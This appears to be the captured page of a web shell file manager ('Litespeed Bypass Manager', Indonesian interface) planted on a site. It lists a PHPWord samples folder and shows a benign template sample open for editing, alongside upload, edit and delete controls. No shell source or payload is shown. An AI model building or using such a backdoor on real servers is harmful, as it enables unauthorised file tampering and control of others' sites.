Litespeed Bypass Manager
Direktori:
/admin/vendor/phpoffice/phpword/samples
⬆️ Kembali
Buat Folder Baru
Buat Folder
Upload File
Upload
⚠️ Litespeed Uploader
Isi Folder
📁
bootstrap
Folder
Hapus
📁
resources
Folder
Hapus
📁
results
Folder
Hapus
📄 Sample_01_SimpleText.php
Edit
Hapus
📄 Sample_02_TabStops.php
Edit
Hapus
📄 Sample_03_Sections.php
Edit
Hapus
📄 Sample_04_Textrun.php
Edit
Hapus
📄 Sample_05_Multicolumn.php
Edit
Hapus
📄 Sample_06_Footnote.php
Edit
Hapus
📄 Sample_07_TemplateCloneRow.php
Edit
Hapus
📄 Sample_08_ParagraphPagination.php
Edit
Hapus
📄 Sample_09_Tables.php
Edit
Hapus
📄 Sample_10_EastAsianFontStyle.php
Edit
Hapus
📄 Sample_11_ReadWord2007.php
Edit
Hapus
📄 Sample_11_ReadWord97.php
Edit
Hapus
📄 Sample_12_HeaderFooter.php
Edit
Hapus
📄 Sample_13_Images.php
Edit
Hapus
📄 Sample_14_ListItem.php
Edit
Hapus
📄 Sample_15_Link.php
Edit
Hapus
📄 Sample_16_Object.php
Edit
Hapus
📄 Sample_17_TitleTOC.php
Edit
Hapus
📄 Sample_18_Watermark.php
Edit
Hapus
📄 Sample_19_TextBreak.php
Edit
Hapus
📄 Sample_20_BGColor.php
Edit
Hapus
📄 Sample_21_TableRowRules.php
Edit
Hapus
📄 Sample_22_CheckBox.php
Edit
Hapus
📄 Sample_23_TemplateBlock.php
Edit
Hapus
📄 Sample_24_ReadODText.php
Edit
Hapus
📄 Sample_25_TextBox.php
Edit
Hapus
📄 Sample_26_Html.php
Edit
Hapus
📄 Sample_27_Field.php
Edit
Hapus
📄 Sample_28_ReadRTF.php
Edit
Hapus
📄 Sample_29_Line.php
Edit
Hapus
📄 Sample_30_ReadHTML.php
Edit
Hapus
📄 Sample_31_Shape.php
Edit
Hapus
📄 Sample_32_Chart.php
Edit
Hapus
📄 Sample_33_FormField.php
Edit
Hapus
📄 Sample_34_SDT.php
Edit
Hapus
📄 Sample_35_InternalLink.php
Edit
Hapus
📄 Sample_36_RTL.php
Edit
Hapus
📄 Sample_37_Comments.php
Edit
Hapus
📄 Sample_38_Protection.php
Edit
Hapus
📄 Sample_Footer.php
Edit
Hapus
📄 Sample_Header.php
Edit
Hapus
📄 index.php
Edit
Hapus
Edit File: Sample_07_TemplateCloneRow.php
<?php include_once 'Sample_Header.php'; // Template processor instance creation echo date('H:i:s'), ' Creating new TemplateProcessor instance...', EOL; $templateProcessor = new \PhpOffice\PhpWord\TemplateProcessor('resources/Sample_07_TemplateCloneRow.docx'); // Variables on different parts of document $templateProcessor->setValue('weekday', date('l')); // On section/content $templateProcessor->setValue('time', date('H:i')); // On footer $templateProcessor->setValue('serverName', realpath(__DIR__)); // On header // Simple table $templateProcessor->cloneRow('rowValue', 10); $templateProcessor->setValue('rowValue#1', 'Sun'); $templateProcessor->setValue('rowValue#2', 'Mercury'); $templateProcessor->setValue('rowValue#3', 'Venus'); $templateProcessor->setValue('rowValue#4', 'Earth'); $templateProcessor->setValue('rowValue#5', 'Mars'); $templateProcessor->setValue('rowValue#6', 'Jupiter'); $templateProcessor->setValue('rowValue#7', 'Saturn'); $templateProcessor->setValue('rowValue#8', 'Uranus'); $templateProcessor->setValue('rowValue#9', 'Neptun'); $templateProcessor->setValue('rowValue#10', 'Pluto'); $templateProcessor->setValue('rowNumber#1', '1'); $templateProcessor->setValue('rowNumber#2', '2'); $templateProcessor->setValue('rowNumber#3', '3'); $templateProcessor->setValue('rowNumber#4', '4'); $templateProcessor->setValue('rowNumber#5', '5'); $templateProcessor->setValue('rowNumber#6', '6'); $templateProcessor->setValue('rowNumber#7', '7'); $templateProcessor->setValue('rowNumber#8', '8'); $templateProcessor->setValue('rowNumber#9', '9'); $templateProcessor->setValue('rowNumber#10', '10'); // Table with a spanned cell $templateProcessor->cloneRow('userId', 3); $templateProcessor->setValue('userId#1', '1'); $templateProcessor->setValue('userFirstName#1', 'James'); $templateProcessor->setValue('userName#1', 'Taylor'); $templateProcessor->setValue('userPhone#1', '+1 428 889 773'); $templateProcessor->setValue('userId#2', '2'); $templateProcessor->setValue('userFirstName#2', 'Robert'); $templateProcessor->setValue('userName#2', 'Bell'); $templateProcessor->setValue('userPhone#2', '+1 428 889 774'); $templateProcessor->setValue('userId#3', '3'); $templateProcessor->setValue('userFirstName#3', 'Michael'); $templateProcessor->setValue('userName#3', 'Ray'); $templateProcessor->setValue('userPhone#3', '+1 428 889 775'); echo date('H:i:s'), ' Saving the result document...', EOL; $templateProcessor->saveAs('results/Sample_07_TemplateCloneRow.docx'); echo getEndingNotes(array('Word2007' => 'docx')); if (!CLI) { include_once 'Sample_Footer.php'; }
Simpan
Catatan: Mengedit file biner tidak disarankan.